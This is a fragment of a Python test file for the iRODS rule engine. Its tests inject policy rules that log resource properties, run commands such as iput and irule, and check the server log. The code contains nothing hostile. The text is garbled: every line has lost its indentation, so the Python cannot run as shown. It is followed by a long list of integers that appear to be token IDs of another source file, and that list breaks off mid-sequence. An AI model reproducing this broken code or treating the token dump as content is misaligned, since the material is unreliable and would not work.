query = '''iquest "SELECT {columns} WHERE RESC_NAME ='{resource}'"'''.format(**locals())
result = session.run_icommand(query)[0]
# last line is iquest default formatting separator
resource_property_list = result.splitlines()[:-1]
# make sure property list is not empty
self.assertTrue(len(resource_property_list))
return resource_property_list
def make_pep_rule(self, pep_name, rule_body):
# prepare rule
# rule will write PEP name as well as
# resource related rule session vars to server log
write_statements = 'writeLine("serverLog", "{pep_name}");'.format(**locals())
write_statements += ('writeLine("serverLog", $KVPairs.zoneName);'
'writeLine("serverLog", $KVPairs.freeSpace);'
'writeLine("serverLog", $KVPairs.quotaLimit);'
'writeLine("serverLog", $KVPairs.rescStatus);'
'writeLine("serverLog", $KVPairs.rescId);'
'writeLine("serverLog", $KVPairs.rescName);'
'writeLine("serverLog", $KVPairs.rescType);'
'writeLine("serverLog", $KVPairs.rescLoc);'
'writeLine("serverLog", $KVPairs.rescClass);'
'writeLine("serverLog", $KVPairs.rescVaultPath);'
'writeLine("serverLog", $KVPairs.rescInfo);'
'writeLine("serverLog", $KVPairs.rescComments);'
'writeLine("serverLog", $KVPairs.rescCreate);'
'writeLine("serverLog", $KVPairs.rescModify)')
return '{pep_name} {{ {write_statements};{rule_body} }}'.format(**locals())
def make_pep_rule_python(self, pep_name, rule_body):
# prepare rule
# rule will write PEP name as well as
# resource related rule session vars to server log
write_statements = ' callback.writeLine("serverLog", "{pep_name}")\n'.format(**locals())
write_statements += (' callback.writeLine("serverLog", rei.condInputData["zoneName"])\n'
' callback.writeLine("serverLog", rei.condInputData["freeSpace"])\n'
' callback.writeLine("serverLog", rei.condInputData["quotaLimit"])\n'
' callback.writeLine("serverLog", rei.condInputData["rescStatus"])\n'
' callback.writeLine("serverLog", rei.condInputData["rescId"])\n'
' callback.writeLine("serverLog", rei.condInputData["rescName"])\n'
' callback.writeLine("serverLog", rei.condInputData["rescType"])\n'
' callback.writeLine("serverLog", rei.condInputData["rescLoc"])\n'
' callback.writeLine("serverLog", rei.condInputData["rescClass"])\n'
' callback.writeLine("serverLog", rei.condInputData["rescVaultPath"])\n'
' callback.writeLine("serverLog", rei.condInputData["rescInfo"])\n'
' callback.writeLine("serverLog", rei.condInputData["rescComments"])\n'
' callback.writeLine("serverLog", rei.condInputData["rescCreate"])\n'
' callback.writeLine("serverLog", rei.condInputData["rescModify"])\n')
return 'def {pep_name}(rule_args, callback, rei):\n{write_statements}\n{rule_body}'.format(**locals())
# def make_new_server_config_json(self, server_config_filename):
# # load server_config.json to inject a new rule base
# with open(server_config_filename) as f:
# svr_cfg = json.load(f)
#
# # inject a new rule base into the native rule engine
# svr_cfg['plugin_configuration']['rule_engines'][0]['plugin_specific_configuration']['re_rulebase_set'] = ["test", "core"]
#
# # dump to a string to repave the existing server_config.json
# return json.dumps(svr_cfg, sort_keys=True,indent=4, separators=(',', ': '))
def pep_test_helper(self, precommands=[], commands=[], rule_body='', client_rule=None, target_name=None, user_session=None):
pep_name = self.pep_name
# user session
if user_session is None:
if client_rule is None:
user_session = self.user0
else:
# Python rule engine needs admin privileges to run irule
user_session = self.admin
# local vars to format command strings
testfile = self.testfile
large_file = self.large_file
if target_name is None:
target_name = testfile
target_obj = '/'.join([user_session.session_collection, target_name])
# query for resource properties
resource_property_list = self.get_resource_property_list(user_session)
with temporary_core_file() as core:
# make pep rule
if self.plugin_name == 'irods_rule_engine_plugin-irods_rule_language':
test_rule = self.make_pep_rule(pep_name, rule_body)
elif self.plugin_name == 'irods_rule_engine_plugin-python':
test_rule = self.make_pep_rule_python(pep_name, rule_body)
# write pep rule into test_re
# with open(test_re, 'w') as f:
# f.write(test_rule)
time.sleep(1) # remove once file hash fix is committed #2279
core.add_rule(test_rule)
time.sleep(1) # remove once file hash fix is committed #2279
# # repave the existing server_config.json to add test_re
# with open(server_config_filename, 'w') as f:
# f.write(new_server_config)
# make client-side rule file
if client_rule is not None:
client_rule_file = "test_rule_file.r"
with open(client_rule_file, 'w') as f:
f.write(client_rule.format(**locals()))
# perform precommands
for c in precommands:
if isinstance(c, tuple):
user_session.assert_icommand(c[0].format(**locals()), c[1], c[2])
else:
user_session.assert_icommand(c.format(**locals()))
# checkpoint log to know where to look for the string
initial_log_size = lib.get_file_size_by_path(paths.server_log_path())
# perform commands to hit PEP
for c in commands:
if isinstance(c, tuple):
user_session.assert_icommand(c[0].format(**locals()), c[1], c[2])
else:
user_session.assert_icommand(c.format(**locals()))
# delete client-side rule file
if client_rule is not None:
os.unlink(client_rule_file)
# confirm that PEP was hit by looking for pep name in server log
lib.delayAssert(lambda: lib.count_occurrences_of_string_in_log(paths.server_log_path(), pep_name, start_index=initial_log_size))
# check that resource session vars were written to the server log
for line in resource_property_list:
column = line.rsplit('=', 1)[0].strip()
property = line.rsplit('=', 1)[1].strip()
if property:
if column != 'RESC_MODIFY_TIME':
lib.delayAssert(lambda: lib.count_occurrences_of_string_in_log(paths.server_log_path(), property, start_index=initial_log_size))
# cleanup
user_session.run_icommand('irm -f {target_obj}'.format(**locals()))
# os.unlink(test_re)
@unittest.skipIf(plugin_name == 'irods_rule_engine_plugin-python', 'Skip for Python REP')
def test_genquery_foreach_MAX_SQL_ROWS_multiple__3489(self):
MAX_SQL_ROWS = 256 # needs to be the same as constant in server code
filename = 'test_genquery_foreach_MAX_SQL_ROWS_multiple__3489_dummy_file'
lib.make_file(filename, 1)
data_object_prefix = 'loiuaxnlaskdfpiewrnsliuserd'
for i in range(MAX_SQL_ROWS):
self.admin.assert_icommand(['iput', filename, '{0}_file_{1}'.format(data_object_prefix, i)])
rule_file = 'test_genquery_foreach_MAX_SQL_ROWS_multiple__3489.r'
rule_string = '''
test_genquery_foreach_MAX_SQL_ROWS_multiple__3489 {{
foreach(*rows in select DATA_ID where DATA_NAME like '{0}%') {{
*id = *rows.DATA_ID;
writeLine("serverLog", "GGGGGGGGGGGGGGG *id");
}}
}}
INPUT null
OUTPUT ruleExecOut
'''.format(data_object_prefix)
with open(rule_file, 'w') as f:
f.write(rule_string)
self.admin.assert_icommand(['irule', '-F', rule_file])
os.unlink(rule_file)
class Test_Remote_Exec(ResourceBase, unittest.TestCase):
plugin_name = IrodsConfig().default_rule_engine_plugin
class_name = 'Test_Remote_Exec'
def setUp(self):
super(Test_Remote_Exec, self).setUp()
def tearDown(self):
super(Test_Remote_Exec, self).tearDown()
def create_rule_file(self, rule_text_key):
rule_file_path = rule_text_key + '.r'
parameters = {}
parameters['host'] = test.settings.ICAT_HOSTNAME
parameters['zone'] = 'tempZone'
rule_str = rule_texts[self.plugin_name][self.class_name][rule_text_key].format(**parameters)
with open(rule_file_path, 'w') as rule_file:
rule_file.write(rule_str)
return rule_file_path
@unittest.skipIf(plugin_name == 'irods_rule_engine_plugin-python', 'Skip for Python REP')
def test_remote_no_writeline(self):
rule_file_path = self.create_rule_file('test_remote_no_writeline')
try:
self.admin.assert_icommand(['irule', '-F', rule_file_path], 'STDOUT', 'a=remote')
finally:
if os.path.exists(rule_file_path):
os.unlink(rule_file_path)
@unittest.skipIf(plugin_name == 'irods_rule_engine_plugin-python', 'Skip for Python REP')
def test_remote_writeline(self):
rule_file_path = self.create_rule_file('test_remote_writeline')
try:
self.admin.assert_icommand(['irule', '-F', rule_file_path], 'STDOUT', 'Remote writeLine')
finally:
if os.path.exists(rule_file_path):
os.unlink(rule_file_path)
@unittest.skip('Remove skip with resolution of #4262')
@unittest.skipIf(plugin_name == 'irods_rule_engine_plugin-python', 'Skip for Python REP')
def test_remote_in_remote_writeline(self):
rule_file_path = self.create_rule_file('test_remote_in_remote_writeline')
try:
self.admin.assert_icommand(['irule', '-F', rule_file_path], 'STDOUT_MULTILINE', ['Remote in remote writeLine', 'Remote writeLine'])
finally:
if os.path.exists(rule_file_path):
os.unlink(rule_file_path)
@unittest.skipIf(test.settings.TOPOLOGY_FROM_RESOURCE_SERVER, 'Skip for topology testing from resource server: reads server log')
@unittest.skipIf(plugin_name == 'irods_rule_engine_plugin-python', 'Skip for Python REP')
def test_delay_in_remote_writeline(self):
rule_file_path = self.create_rule_file('test_delay_in_remote_writeline')
try:
initial_log_size = lib.get_file_size_by_path(paths.server_log_path())
self.admin.assert_icommand(['irule', '-F', rule_file_path], 'STDOUT', 'Remote writeLine')
lib.delayAssert(lambda: lib.count_occurrences_of_string_in_log(paths.server_log_path(), 'Delay in remote writeLine', start_index=initial_log_size))
finally:
if os.path.exists(rule_file_path):
os.unlink(rule_file_path)
@unittest.skipIf(test.settings.TOPOLOGY_FROM_RESOURCE_SERVER, 'Skip for topology testing from resource server: reads server log')
@unittest.skipIf(plugin_name == 'irods_rule_engine_plugin-python', 'Skip for Python REP')
def test_remote_in_delay_writeline(self):
rule_file_path = self.create_rule_file('test_remote_in_delay_writeline')
try:
initial_log_size = lib.get_file_size_by_path(paths.server_log_path())
self.admin.assert_icommand(['irule', '-F', rule_file_path])
lib.delayAssert(lambda: lib.count_occurrences_of_string_in_log(paths.server_log_path(), 'Remote in delay writeLine', start_index=initial_log_size))
lib.delayAssert(lambda: lib.count_occurrences_of_string_in_log(paths.server_log_path(), 'Delay writeLine', start_index=initial_log_size))
finally:
if os.path.exists(rule_file_path):
os.unlink(rule_file_path)
| [
1,
515,
4770,
29888,
9130,
1649,
1053,
1596,
29918,
2220,
13,
5215,
10876,
13,
361,
10876,
29889,
3259,
29918,
3888,
6736,
313,
29906,
29892,
29871,
29955,
1125,
13,
1678,
1053,
443,
27958,
13,
2870,
29901,
13,
1678,
1053,
443,
27958,
29906,
408,
443,
27958,
13,
5215,
3509,
13,
5215,
16096,
13,
5215,
4390,
13,
5215,
2897,
13,
5215,
9909,
13,
5215,
5694,
1445,
13,
5215,
931,
29871,
396,
3349,
2748,
934,
6608,
2329,
338,
844,
1573,
396,
29906,
29906,
29955,
29929,
13,
5215,
1014,
5014,
13,
13,
3166,
6317,
1053,
4303,
13,
3166,
6317,
1053,
10898,
13,
3166,
6317,
1053,
1243,
13,
3166,
869,
1053,
6055,
13,
3166,
869,
10314,
29918,
13495,
1053,
18981,
5160,
13,
3166,
6317,
13305,
1053,
306,
5964,
29879,
3991,
13,
3166,
6317,
8299,
1053,
306,
5964,
29879,
2956,
13,
3166,
6317,
3221,
29918,
1445,
1053,
13201,
29918,
3221,
29918,
1445,
13,
3166,
869,
7491,
29918,
726,
29879,
29918,
1454,
29918,
21150,
1053,
5751,
29918,
726,
29879,
13,
13,
1990,
4321,
29918,
10740,
3188,
29898,
6848,
5160,
29892,
443,
27958,
29889,
3057,
8259,
1125,
13,
1678,
7079,
29918,
978,
353,
306,
5964,
29879,
3991,
2141,
4381,
29918,
7491,
29918,
10599,
29918,
8582,
13,
1678,
770,
29918,
978,
353,
525,
3057,
29918,
10740,
3188,
29915,
13,
13,
1678,
822,
731,
3373,
29898,
1311,
1125,
13,
4706,
2428,
29898,
3057,
29918,
10740,
3188,
29892,
1583,
467,
842,
3373,
580,
13,
13,
1678,
822,
734,
279,
6767,
29898,
1311,
1125,
13,
4706,
2428,
29898,
3057,
29918,
10740,
3188,
29892,
1583,
467,
371,
279,
6767,
580,
13,
13,
1678,
822,
1243,
29918,
4645,
29918,
2974,
29918,
10052,
327,
11685,
1649,
29906,
29945,
29953,
29946,
29898,
1311,
1125,
13,
4706,
411,
13201,
29918,
3221,
29918,
1445,
580,
408,
7136,
29901,
13,
9651,
931,
29889,
17059,
29898,
29896,
29897,
29871,
396,
3349,
2748,
934,
6608,
2329,
338,
19355,
396,
29906,
29906,
29955,
29929,
13,
9651,
7136,
29889,
1202,
29918,
7491,
29898,
7491,
29918,
726,
29879,
29961,
1311,
29889,
8582,
29918,
978,
3816,
1311,
29889,
1990,
29918,
978,
3816,
1144,
1103,
29889,
3784,
2557,
2141,
29888,
29918,
401,
29889,
1111,
29918,
978,
2314,
13,
9651,
931,
29889,
17059,
29898,
29896,
29897,
29871,
396,
3349,
2748,
934,
6608,
2329,
338,
19355,
396,
29906,
29906,
29955,
29929,
13,
13,
9651,
3132,
29918,
5504,
353,
426,
13,
18884,
525,
3350,
6289,
29918,
4645,
29918,
2974,
29918,
22197,
2396,
525,
9295,
29918,
8186,
29954,
29918,
25866,
17171,
29915,
13,
9651,
500,
13,
13,
9651,
4867,
29918,
6272,
29918,
1627,
786,
353,
3509,
29889,
24535,
8552,
29898,
1311,
29889,
6406,
29889,
20944,
29918,
1445,
29918,
10853,
29897,
13,
9651,
1583,
29889,
6406,
29889,
20944,
29918,
1445,
29918,
10853,
29889,
5504,
29898,
4645,
29918,
5504,
29897,
13,
13,
9651,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
29898,
525,
2719,
3788,
1254,
8032,
29934,
29918,
29903,
4214,
1307,
18521,
3788,
27205,
3919,
29918,
8186,
29954,
2891,
29902,
8098,
29918,
11432,
1495,
13,
13,
9651,
1583,
29889,
6406,
29889,
20944,
29918,
1445,
29918,
10853,
353,
4867,
29918,
6272,
29918,
1627,
786,
13,
13,
1678,
822,
1243,
29918,
29885,
1039,
1469,
9930,
6113,
1649,
29906,
29955,
29929,
29945,
29898,
1311,
1125,
13,
4706,
5751,
29918,
1445,
353,
376,
1688,
29918,
7491,
29918,
1445,
29889,
29878,
29908,
13,
4706,
5751,
29918,
1807,
353,
5751,
29918,
726,
29879,
29961,
1311,
29889,
8582,
29918,
978,
3816,
1311,
29889,
1990,
29918,
978,
22322,
1688,
29918,
29885,
1039,
1469,
9930,
6113,
1649,
29906,
29955,
29929,
29945,
29918,
29896,
2033,
718,
1583,
29889,
6406,
29889,
7924,
29918,
10855,
718,
5751,
29918,
726,
29879,
29961,
1311,
29889,
8582,
29918,
978,
3816,
1311,
29889,
1990,
29918,
978,
22322,
1688,
29918,
29885,
1039,
1469,
9930,
6113,
1649,
29906,
29955,
29929,
29945,
29918,
29906,
2033,
13,
4706,
411,
1722,
29898,
7491,
29918,
1445,
29892,
525,
14554,
1495,
408,
285,
29901,
13,
9651,
1596,
29898,
7491,
29918,
1807,
29892,
934,
29922,
29888,
29892,
1095,
2433,
1495,
13,
13,
4706,
1243,
29918,
1445,
353,
1583,
29889,
6406,
29889,
7924,
29918,
10855,
23097,
29914,
1688,
29918,
1445,
29889,
3945,
29915,
13,
13,
4706,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
877,
381,
1297,
448,
29943,
525,
718,
5751,
29918,
1445,
29897,
13,
4706,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
877,
2719,
448,
29880,
3788,
1254,
3970,
2692,
29918,
29903,
4214,
1307,
18521,
3788,
1688,
29918,
1445,
1495,
13,
4706,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
877,
335,
300,
448,
29888,
525,
29974,
1688,
29918,
1445,
29897,
13,
13,
4706,
411,
1722,
703,
1688,
29918,
1445,
29889,
3945,
613,
525,
29878,
1495,
408,
285,
29901,
13,
9651,
934,
29918,
10853,
353,
285,
29889,
949,
580,
13,
13,
4706,
4974,
29898,
451,
934,
29918,
10853,
29889,
1975,
2541,
28909,
29900,
1495,
1723,
13,
13,
1678,
732,
348,
27958,
29889,
11014,
3644,
29898,
8582,
29918,
978,
1275,
525,
3350,
6289,
29918,
7491,
29918,
10599,
29918,
8582,
29899,
4691,
742,
525,
15797,
666,
363,
5132,
5195,
29925,
1495,
13,
1678,
822,
1243,
29918,
3350,
6289,
29918,
276,
29918,
262,
18925,
29918,
3757,
1295,
291,
29918,
29941,
29896,
29953,
29929,
29898,
1311,
1125,
13,
4706,
411,
13201,
29918,
3221,
29918,
1445,
580,
408,
7136,
29901,
13,
9651,
931,
29889,
17059,
29898,
29896,
29897,
29871,
396,
3349,
2748,
934,
6608,
2329,
338,
19355,
396,
29906,
29906,
29955,
29929,
13,
9651,
7136,
29889,
1202,
29918,
7491,
29898,
7491,
29918,
726,
29879,
29961,
1311,
29889,
8582,
29918,
978,
3816,
1311,
29889,
1990,
29918,
978,
3816,
1144,
1103,
29889,
3784,
2557,
2141,
29888,
29918,
401,
29889,
1111,
29918,
978,
2314,
13,
9651,
931,
29889,
17059,
29898,
29896,
29897,
29871,
396,
3349,
2748,
934,
6608,
2329,
338,
19355,
396,
29906,
29906,
29955,
29929,
13,
13,
9651,
1243,
29918,
1445,
353,
525,
7491,
6500,
300,
342,
1445,
29915,
13,
9651,
4303,
29889,
16747,
29898,
1688,
29918,
1445,
29897,
13,
9651,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
18959,
29875,
649,
742,
1243,
29918,
1445,
2314,
13,
13,
1678,
822,
1243,
29918,
562,
6747,
27893,
2831,
22908,
29918,
3445,
5926,
29918,
517,
29918,
20787,
29918,
13237,
29898,
1311,
1125,
13,
4706,
396,
1653,
716,
7788,
13,
4706,
3495,
978,
353,
9909,
29889,
29887,
621,
520,
978,
580,
13,
4706,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
703,
29875,
6406,
14690,
690,
29883,
364,
29896,
28167,
5325,
973,
376,
718,
3495,
978,
718,
376,
8419,
7050,
29914,
3350,
6289,
29914,
29878,
29896,
613,
525,
1254,
3970,
2692,
29918,
29903,
4214,
1307,
18521,
742,
376,
9832,
1218,
1159,
13,
4706,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
703,
29875,
6406,
14690,
690,
29883,
364,
29906,
28167,
5325,
973,
376,
718,
3495,
978,
718,
376,
8419,
7050,
29914,
3350,
6289,
29914,
29878,
29906,
613,
525,
1254,
3970,
2692,
29918,
29903,
4214,
1307,
18521,
742,
376,
9832,
1218,
1159,
13,
4706,
260,
1445,
353,
376,
7491,
6500,
300,
342,
1445,
29908,
13,
4706,
1018,
29901,
13,
9651,
411,
13201,
29918,
3221,
29918,
1445,
580,
408,
7136,
29901,
13,
18884,
931,
29889,
17059,
29898,
29896,
29897,
29871,
396,
3349,
2748,
934,
6608,
2329,
338,
19355,
396,
29906,
29906,
29955,
29929,
13,
18884,
7136,
29889,
1202,
29918,
7491,
29898,
7491,
29918,
726,
29879,
29961,
1311,
29889,
8582,
29918,
978,
3816,
1311,
29889,
1990,
29918,
978,
3816,
1144,
1103,
29889,
3784,
2557,
2141,
29888,
29918,
401,
29889,
1111,
29918,
978,
2314,
13,
18884,
931,
29889,
17059,
29898,
29896,
29897,
29871,
396,
3349,
2748,
934,
6608,
2329,
338,
19355,
396,
29906,
29906,
29955,
29929,
13,
13,
18884,
396,
1925,
848,
13,
18884,
4303,
29889,
16747,
29898,
29873,
1445,
29897,
13,
18884,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
18959,
29875,
649,
742,
260,
1445,
2314,
13,
13,
18884,
396,
1423,
1634,
506,
294,
13,
18884,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
18959,
2719,
742,
17411,
29931,
742,
260,
1445,
1402,
525,
1254,
3970,
2692,
29918,
29924,
8647,
6227,
8895,
742,
6024,
13455,
1666,
29883,
13420,
525,
364,
29896,
13420,
525,
364,
29906,
525,
2314,
13,
13,
9651,
931,
29889,
17059,
29898,
29906,
29897,
29871,
396,
3349,
2748,
934,
6608,
2329,
338,
844,
1573,
396,
29906,
29906,
29955,
29929,
13,
13,
4706,
7146,
29901,
13,
9651,
396,
5941,
701,
322,
3349,
716,
7788,
13,
9651,
1583,
29889,
6406,
29889,
3389,
29918,
293,
3011,
392,
703,
3568,
448,
9600,
376,
718,
260,
1445,
29897,
13,
9651,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
703,
29875,
6406,
20241,
690,
29883,
364,
29896,
1159,
13,
9651,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
703,
29875,
6406,
20241,
690,
29883,
364,
29906,
1159,
13,
13,
1678,
822,
1243,
29918,
16626,
29918,
412,
29886,
29918,
2541,
29918,
2288,
2055,
29918,
21125,
29898,
1311,
1125,
13,
4706,
411,
13201,
29918,
3221,
29918,
1445,
580,
408,
7136,
29901,
13,
9651,
931,
29889,
17059,
29898,
29896,
29897,
29871,
396,
3349,
2748,
934,
6608,
2329,
338,
19355,
396,
29906,
29906,
29955,
29929,
13,
9651,
7136,
29889,
1202,
29918,
7491,
29898,
7491,
29918,
726,
29879,
29961,
1311,
29889,
8582,
29918,
978,
3816,
1311,
29889,
1990,
29918,
978,
3816,
1144,
1103,
29889,
3784,
2557,
2141,
29888,
29918,
401,
29889,
1111,
29918,
978,
2314,
13,
9651,
931,
29889,
17059,
29898,
29896,
29897,
29871,
396,
3349,
2748,
934,
6608,
2329,
338,
19355,
396,
29906,
29906,
29955,
29929,
13,
13,
9651,
396,
1423,
27409,
740,
292,
13,
9651,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
703,
335,
300,
376,
718,
1583,
29889,
1688,
1445,
718,
376,
448,
9162,
525,
1254,
3970,
2692,
29918,
29903,
4214,
1307,
18521,
742,
1583,
29889,
1688,
1445,
29897,
13,
13,
13,
1678,
732,
348,
27958,
29889,
11014,
3644,
29898,
1688,
29889,
11027,
29889,
29911,
4590,
29949,
14480,
29979,
29918,
21482,
29918,
1525,
27839,
4741,
29918,
18603,
29892,
525,
15797,
666,
363,
20159,
6724,
515,
6503,
1923,
29901,
13623,
337,
1923,
1480,
1495,
13,
1678,
732,
348,
27958,
29889,
11014,
2525,
2222,
29898,
8582,
29918,
978,
1275,
525,
3350,
6289,
29918,
7491,
29918,
10599,
29918,
8582,
29899,
3350,
6289,
29918,
7491,
29918,
11675,
742,
525,
21150,
7090,
2767,
448,
871,
22903,
363,
474,
5964,
29879,
29918,
7491,
29918,
11675,
5195,
29925,
1495,
13,
1678,
822,
1243,
29918,
7491,
3188,
29918,
5504,
1649,
29906,
29945,
29947,
29945,
29898,
1311,
1125,
13,
4706,
590,
29918,
7491,
353,
5751,
29918,
726,
29879,
29961,
1311,
29889,
8582,
29918,
978,
3816,
1311,
29889,
1990,
29918,
978,
22322,
1688,
29918,
7491,
3188,
29918,
5504,
1649,
29906,
29945,
29947,
29945,
29918,
29896,
2033,
13,
4706,
5751,
29918,
1445,
353,
525,
1357,
29918,
7491,
29889,
29878,
29915,
13,
4706,
411,
1722,
29898,
7491,
29918,
1445,
29892,
525,
14554,
1495,
408,
285,
29901,
13,
9651,
1596,
29898,
1357,
29918,
7491,
29892,
934,
29922,
29888,
29892,
1095,
2433,
1495,
13,
13,
4706,
1923,
29918,
2917,
29918,
9507,
353,
10898,
29889,
2974,
29918,
2917,
29918,
2084,
580,
13,
13,
4706,
396,
2254,
1923,
29918,
2917,
29889,
3126,
304,
11658,
263,
716,
5751,
2967,
13,
4706,
411,
1722,
29898,
2974,
29918,
2917,
29918,
9507,
29897,
408,
285,
29901,
13,
9651,
3731,
29878,
29918,
16859,
353,
4390,
29889,
1359,
29898,
29888,
29897,
13,
13,
4706,
396,
11658,
263,
716,
5751,
2967,
964,
278,
7531,
5751,
6012,
13,
4706,
3731,
29878,
29918,
16859,
1839,
8582,
29918,
13305,
16215,
7491,
29918,
996,
1475,
2033,
29961,
29900,
22322,
8582,
29918,
14940,
29918,
13305,
16215,
276,
29918,
7491,
3188,
29918,
842,
2033,
353,
6796,
1688,
613,
376,
3221,
3108,
13,
13,
4706,
396,
16766,
304,
263,
1347,
304,
1634,
1351,
278,
5923,
1923,
29918,
2917,
29889,
3126,
13,
4706,
716,
29918,
2974,
29918,
2917,
29922,
3126,
29889,
29881,
17204,
29898,
4501,
29878,
29918,
16859,
29892,
2656,
29918,
8149,
29922,
5574,
29892,
12860,
29922,
29946,
29892,
2903,
4097,
7607,
742,
742,
525,
29901,
525,
876,
13,
13,
4706,
411,
4303,
29889,
1445,
29918,
1627,
287,
29918,
786,
29898,
24772,
29889,
2974,
29918,
2917,
29918,
2084,
580,
1125,
13,
9651,
1243,
29918,
276,
353,
2897,
29889,
2084,
29889,
7122,
29898,
24772,
29889,
3221,
29918,
276,
29918,
12322,
3285,
525,
1688,
29889,
276,
1495,
13,
9651,
396,
2436,
716,
5751,
934,
304,
2295,
4516,
13,
9651,
411,
1722,
29898,
1688,
29918,
276,
29892,
525,
14554,
1495,
408,
285,
29901,
13,
18884,
1596,
29898,
7491,
29918,
726,
29879,
29961,
1311,
29889,
8582,
29918,
978,
3816,
1311,
29889,
1990,
29918,
978,
22322,
1688,
29918,
7491,
3188,
29918,
5504,
1649,
29906,
29945,
29947,
29945,
29918,
29906,
7464,
934,
29922,
29888,
29892,
1095,
2433,
1495,
13,
13,
9651,
396,
1634,
1351,
278,
5923,
1923,
29918,
2917,
29889,
3126,
13,
9651,
411,
1722,
29898,
2974,
29918,
2917,
29918,
9507,
29892,
525,
29893,
1495,
408,
285,
29901,
13,
18884,
285,
29889,
3539,
29898,
1482,
29918,
2974,
29918,
2917,
29897,
13,
13,
9651,
306,
5964,
29879,
2956,
2141,
5060,
442,
580,
13,
9651,
396,
1423,
3149,
1480,
304,
1073,
988,
304,
1106,
363,
278,
1347,
13,
9651,
2847,
29918,
1188,
29918,
2311,
353,
4303,
29889,
657,
29918,
1445,
29918,
2311,
29918,
1609,
29918,
2084,
29898,
24772,
29889,
2974,
29918,
1188,
29918,
2084,
3101,
13,
9651,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
877,
381,
1297,
448,
29943,
525,
718,
5751,
29918,
1445,
29897,
13,
13,
9651,
4303,
29889,
18829,
14697,
29898,
2892,
29901,
4303,
29889,
2798,
29918,
15693,
1038,
2063,
29918,
974,
29918,
1807,
29918,
262,
29918,
1188,
29898,
24772,
29889,
2974,
29918,
1188,
29918,
2084,
3285,
525,
18267,
29918,
20785,
29918,
4986,
29918,
29943,
22255,
29918,
29896,
29918,
29906,
29945,
29947,
29945,
742,
1369,
29918,
2248,
29922,
11228,
29918,
1188,
29918,
2311,
876,
13,
13,
9651,
396,
1634,
1351,
5751,
411,
716,
1347,
13,
9651,
2897,
29889,
348,
2324,
29898,
1688,
29918,
276,
29897,
13,
9651,
411,
1722,
29898,
1688,
29918,
276,
29892,
525,
14554,
1495,
408,
285,
29901,
13,
18884,
1596,
29898,
7491,
29918,
726,
29879,
29961,
1311,
29889,
8582,
29918,
978,
3816,
1311,
29889,
1990,
29918,
978,
22322,
1688,
29918,
7491,
3188,
29918,
5504,
1649,
29906,
29945,
29947,
29945,
29918,
29941,
7464,
934,
29922,
29888,
29892,
1095,
2433,
1495,
13,
13,
9651,
396,
1423,
3149,
1480,
304,
1073,
988,
304,
1106,
363,
278,
1347,
13,
9651,
2847,
29918,
1188,
29918,
2311,
353,
4303,
29889,
657,
29918,
1445,
29918,
2311,
29918,
1609,
29918,
2084,
29898,
24772,
29889,
2974,
29918,
1188,
29918,
2084,
3101,
13,
9651,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
877,
381,
1297,
448,
29943,
525,
718,
5751,
29918,
1445,
29897,
13,
9651,
4303,
29889,
18829,
14697,
29898,
2892,
29901,
4303,
29889,
2798,
29918,
15693,
1038,
2063,
29918,
974,
29918,
1807,
29918,
262,
29918,
1188,
29898,
24772,
29889,
2974,
29918,
1188,
29918,
2084,
3285,
525,
18267,
29918,
20785,
29918,
4986,
29918,
29943,
22255,
29918,
29906,
29918,
29906,
29945,
29947,
29945,
742,
1369,
29918,
2248,
29922,
11228,
29918,
1188,
29918,
2311,
876,
13,
13,
4706,
396,
5941,
786,
13,
4706,
306,
5964,
29879,
2956,
2141,
5060,
442,
580,
13,
4706,
2897,
29889,
348,
2324,
29898,
1688,
29918,
276,
29897,
13,
4706,
2897,
29889,
348,
2324,
29898,
7491,
29918,
1445,
29897,
13,
13,
1678,
732,
348,
27958,
29889,
11014,
3644,
29898,
1688,
29889,
11027,
29889,
29911,
4590,
29949,
14480,
29979,
29918,
21482,
29918,
1525,
27839,
4741,
29918,
18603,
29892,
525,
15797,
666,
363,
20159,
6724,
515,
6503,
1923,
29901,
13623,
337,
1923,
1480,
1495,
13,
1678,
732,
348,
27958,
29889,
11014,
2525,
2222,
29898,
8582,
29918,
978,
1275,
525,
3350,
6289,
29918,
7491,
29918,
10599,
29918,
8582,
29899,
3350,
6289,
29918,
7491,
29918,
11675,
742,
525,
21150,
7090,
2767,
448,
871,
22903,
363,
474,
5964,
29879,
29918,
7491,
29918,
11675,
5195,
29925,
1495,
13,
1678,
822,
1243,
29918,
5504,
29918,
3221,
29918,
20787,
29918,
351,
1237,
1649,
29941,
29896,
29947,
29946,
29898,
1311,
1125,
13,
4706,
411,
13201,
29918,
3221,
29918,
1445,
580,
408,
7136,
29901,
13,
9651,
363,
301,
297,
3464,
29898,
29896,
29900,
29900,
1125,
13,
18884,
931,
29889,
17059,
29898,
29896,
29897,
29871,
396,
3349,
2748,
934,
6608,
2329,
338,
19355,
396,
29906,
29906,
29955,
29929,
13,
18884,
7136,
29889,
1202,
29918,
7491,
703,
20787,
29918,
351,
1237,
6571,
1159,
13,
18884,
931,
29889,
17059,
29898,
29896,
29897,
29871,
396,
3349,
2748,
934,
6608,
2329,
338,
19355,
396,
29906,
29906,
29955,
29929,
13,
13,
18884,
10174,
353,
5159,
13,
18884,
2847,
29918,
1188,
29918,
2311,
353,
4303,
29889,
657,
29918,
1445,
29918,
2311,
29918,
1609,
29918,
2084,
29898,
24772,
29889,
2974,
29918,
1188,
29918,
2084,
3101,
13,
18884,
363,
474,
297,
3464,
29898,
29896,
29900,
29900,
1125,
13,
462,
1678,
10174,
29889,
4397,
29898,
1491,
5014,
29889,
29925,
3150,
29898,
3366,
2719,
3108,
876,
13,
18884,
363,
282,
297,
10174,
29901,
13,
462,
1678,
282,
29889,
10685,
580,
13,
18884,
4303,
29889,
18829,
14697,
29898,
13,
462,
1678,
14013,
29901,
4303,
29889,
1188,
29918,
4906,
29918,
15693,
1038,
2063,
29918,
10954,
29918,
2798,
29898,
13,
